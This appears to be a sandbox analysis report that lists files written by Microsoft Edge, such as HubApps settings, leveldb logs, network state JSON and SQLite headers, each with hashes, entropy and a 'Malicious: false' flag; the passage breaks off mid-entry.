Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:8DntFlljq7A/mhWJFuQ3yy7IOWUkm/dweytllrE9SFcTp4AGbNCV9RUIDn:8w75fOT/d0Xi99pEYx
MD5:	8CFBA219E1CB83B8415DDDD577BE3977
SHA1:	6F5C11B5BF923AE1BFAE7D444346909B3A366F7C
SHA-256:	DFAAE130AA90131D75E52A93B95734FFBCF4A3410775493E5F41E059165CAF67
SHA-512:	7D3B3C442168E2C4CF19A814C2892A8D06E4C853084D07F1969D66F6DCF2BA3FED529A149A20B43C5E0EFA9EF91644550619FAEF69D31A6B74C47F7A285D565B
Malicious:	false
Preview:	.............j\|....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6480711522781863
Encrypted:	false
SSDEEP:	384:aj9P05Y773pLyP/KbtTjloQkQerscChCgam6ItRKToaAu:ad97IP/aloe2fCv9RKcC
MD5:	B10E0A5BA191DF3EE8DF718048179AA1
SHA1:	939EC250CB7964A3628D4ECDA88A1208C5A52853
SHA-256:	346699EB6AA719A5FD5A8010E81D139F33D00BA1462EC1761485D12A254B94AA
SHA-512:	0FC6C3BB252CE4F4BF5DCB5FFDCAC469D158C399F63D50B92F703CBE3A10F3BF0FFC03CEE7E292289AA6FD4D6891CDD3B20365D538835100515C0A2C987980F0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.360448679467076
Encrypted:	false
SSDEEP:	12:khfQvBYeb8rcHEZrELFUt8/hfx/+/hfr56Yeb8rcHEZrEZSJ:kABYeb8nZrExg8/476Yeb8nZrEZe
MD5:	D601E8C42CE0CD53428A37D76D7C1BDB
SHA1:	DABFE32E21C3D6817AC5ED7C515449738D17A440
SHA-256:	8B7937C026D8B01D233B24D5C1C9CCE2E0CCB5085B9C38C6EE2A08EB860FB437
SHA-512:	18F7DEA09416DE9C6E8B573247177A156AE88371817F286B6E86BDD38655143636EFCF6D6946C838AB362CD46DAF53958F5C5585923C70B902D30C155FD52102
Malicious:	false
Preview:	2024/11/21-13:58:39.574 1650 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/21-13:58:39.574 1650 Recovering log #3.2024/11/21-13:58:39.574 1650 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.360448679467076
Encrypted:	false
SSDEEP:	12:khfQvBYeb8rcHEZrELFUt8/hfx/+/hfr56Yeb8rcHEZrEZSJ:kABYeb8nZrExg8/476Yeb8nZrEZe
MD5:	D601E8C42CE0CD53428A37D76D7C1BDB
SHA1:	DABFE32E21C3D6817AC5ED7C515449738D17A440
SHA-256:	8B7937C026D8B01D233B24D5C1C9CCE2E0CCB5085B9C38C6EE2A08EB860FB437
SHA-512:	18F7DEA09416DE9C6E8B573247177A156AE88371817F286B6E86BDD38655143636EFCF6D6946C838AB362CD46DAF53958F5C5585923C70B902D30C155FD52102
Malicious:	false
Preview:	2024/11/21-13:58:39.574 1650 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/21-13:58:39.574 1650 Recovering log #3.2024/11/21-13:58:39.574 1650 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	5.663601033179398
Encrypted:	false
SSDEEP:	24:F0ZWKjlA6oTd5LMHXZg/W+llV03y1x4iPWMytWpQyUlHGkTN5zgFHHmi28/V:F0ZnA6oTdJMHXZN+llV03Sx4OytuQy+G
MD5:	B134268B9E5DF209739663EB587766A4
SHA1:	73F8B0118E47B1716390DF759E9B3058D3FBF2B7
SHA-256:	97E2319761F3B2DC78DAC1A679499D6698975E09976E5576FAD471FC2EAF7DF2
SHA-512:	EBD47D29A560E8BA4B91A1FDE7C7462DF9D16460966AD8C50155A89375F80E698A48D8D7E387AF171884E11A6C1DA154BF73DC33AC965767B71B7EF04217BC1A
Malicious:	false
Preview:	g....................VERSION.1..META:https://ntp.msn.com..............!_https://ntp.msn.com..LastKnownPV..1732215529363.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732215530480.._https://ntp.msn.com..MUID!.25D6022CE12A6CAA01731712E02D6DC5.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732215529447,"schedule":[12,-1,-1,40,4,-1,-1],"scheduleFixed":[12,-1,-1,40,4,-1,-1],"simpleSchedule":[51,22,15,34,41,16,24]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732215529311.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241120.492"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Thu Nov 21 2024 13:58:48 GMT-0500 (Eastern Standard

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.193682039708994
Encrypted:	false
SSDEEP:	6:HEhfWKCIq2PCHhJ23oH+Tcwt8a2jMGIFUt8YEhfWKFJJZZmw+YEhfWKEzkwOCHhd:khfEIvBYeb8EFUt8/hfXJT/+/hf256YL
MD5:	2F54ED0ADBE2D6A0BAAAA2FDA68A14D8
SHA1:	2FAF568024394DE3CBCA726D9BA0827C8A5FF029
SHA-256:	737F95CC15788DFB0CE262CDEAC460A4D7C910734D75127D2D0B6D42C0C0FEA1
SHA-512:	DDB267AFA535B6CCABF3F0CFE8FC801735FC588E2D727E3B7380E30933673824FC1DFA55E9569E1927144F554973135A8534866863C5CE4021A0C27A0B51A271
Malicious:	false
Preview:	2024/11/21-13:58:35.052 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/21-13:58:35.055 1c84 Recovering log #3.2024/11/21-13:58:35.087 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.193682039708994
Encrypted:	false
SSDEEP:	6:HEhfWKCIq2PCHhJ23oH+Tcwt8a2jMGIFUt8YEhfWKFJJZZmw+YEhfWKEzkwOCHhd:khfEIvBYeb8EFUt8/hfXJT/+/hf256YL
MD5:	2F54ED0ADBE2D6A0BAAAA2FDA68A14D8
SHA1:	2FAF568024394DE3CBCA726D9BA0827C8A5FF029
SHA-256:	737F95CC15788DFB0CE262CDEAC460A4D7C910734D75127D2D0B6D42C0C0FEA1
SHA-512:	DDB267AFA535B6CCABF3F0CFE8FC801735FC588E2D727E3B7380E30933673824FC1DFA55E9569E1927144F554973135A8534866863C5CE4021A0C27A0B51A271
Malicious:	false
Preview:	2024/11/21-13:58:35.052 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/21-13:58:35.055 1c84 Recovering log #3.2024/11/21-13:58:35.087 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7204e4aa-07f9-4deb-bbf4-7e20bb316545.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7763886971245757
Encrypted:	false
SSDEEP:	192:tTBl3ZvET+u8H30YaAxpoeOLfv4lZZmxjlHBPXcf0L/ZJVb:VB1ek3DaA33Iv4ox5hXI0LhJVb
MD5:	2DA25CE1CAE12D0E46A717BE781E396C
SHA1:	23A6EE36F59BC0AAAD7E52C8AE33F80D7234F6CC
SHA-256:	21BAB50A62C8B401455DF83FD596F9102E51914ACB7FA04B9BBA56407DFACE8E
SHA-512:	4335A439F0933146F9BB651712017916AFD786898748C5143D529AE89C9374D60A50CB8BAFB062C8F6E0D2129FD9BA90A6A33A53C090EEF942E77868F1CAF343
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.294143558286611
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n+:YcCpWsPuCvs+fcKsFgCgakhYhbt
MD5:	DEEB2D761805431D78E6355754FA6576
SHA1:	061EF12348ADD51675F15AAF4A77DCD73438CA39
SHA-256:	44749091A5A4F5280F5122377119D38C8389BA26926A9FCA8CC5D08ACD1FED48
SHA-512:	F224210C23FBD30B946E98A4E6FBCAED15D3588435F5874A19DC270323C0800A3E4AE71F654C27951924F3C7D5EB883EDACAC168599582222112F43813A09E21
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF3b547.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.294143558286611
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n+:YcCpWsPuCvs+fcKsFgCgakhYhbt
MD5:	DEEB2D761805431D78E6355754FA6576
SHA1:	061EF12348ADD51675F15AAF4A77DCD73438CA39
SHA-256:	44749091A5A4F5280F5122377119D38C8389BA26926A9FCA8CC5D08ACD1FED48
SHA-512:	F224210C23FBD30B946E98A4E6FBCAED15D3588435F5874A19DC270323C0800A3E4AE71F654C27951924F3C7D5EB883EDACAC168599582222112F43813A09E21
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.280144718365891
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBmv:JkIEumQv8m1ccnvS6mQBmdKiidz1a
MD5:	C0E88BE51994F2FF32388C26296EC274
SHA1:	3EB71AC69A0B526E3865F7A2EAC254AF2B69E9B2
SHA-256:	DAE4978F1001542074B281B9A8CD24AA8D62F6038ADE92146048E3BCAA19053D
SHA-512:	824ACEB490082978D2776253E6E42CDC98F81B364B1294578EE83745BEE71C4550FDA8E0899678804FAC68916B124BDD89CB53CAE4ED43870F99E9EE2D639EDD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2a927.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2be83.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a26d4013-c7d2-4ddc-a87c-300cd8af0052.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.294143558286611
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n+:YcCpWsPuCvs+fcKsFgCgakhYhbt
MD5:	DEEB2D761805431D78E6355754FA6576
SHA1:	061EF12348ADD51675F15AAF4A77DCD73438CA39
SHA-256:	44749091A5A4F5280F5122377119D38C8389BA26926A9FCA8CC5D08ACD1FED48
SHA-512:	F224210C23FBD30B946E98A4E6FBCAED15D3588435F5874A19DC270323C0800A3E4AE71F654C27951924F3C7D5EB883EDACAC168599582222112F43813A09E21
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a718b6c2-2ec7-45fa-a1fe-9732c901d6a5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b03e3b94-a4d9-409f-8aab-8265a4142983.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b3f1c9f0-0793-47f1-ab74-59fb678e049c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1747
Entropy (8bit):	5.303943384013356
Encrypted:	false
SSDEEP:	48:YcCpfgCzs6tsYfcKsF/leeIkBRs3UCgHsYhbt:F2fNXA/keIkBCUTdhx
MD5:	1B3D59B81B401C79F680257193D91CF0
SHA1:	FBD84FB848F8F0D9F879CFA57A28B2D8ED86AE31
SHA-256:	6B0010A026C63B8E5A40CB87978A58DAE3373535678BC9DA81100AA8291F4986
SHA-512:	323BD9AFEDB3DE5DD5A2D140AEEA88E4E28CEA11D3954A75119D89F8788F45D25F8DB4CD7C7448E498255B5E7680DF5E093B8AD709B182E586CF561FA9C04E09
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379281118427414","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379281123335126","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376782726014370","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA="

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b7993f14-73cf-4946-b7e7-b7626d562fe5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
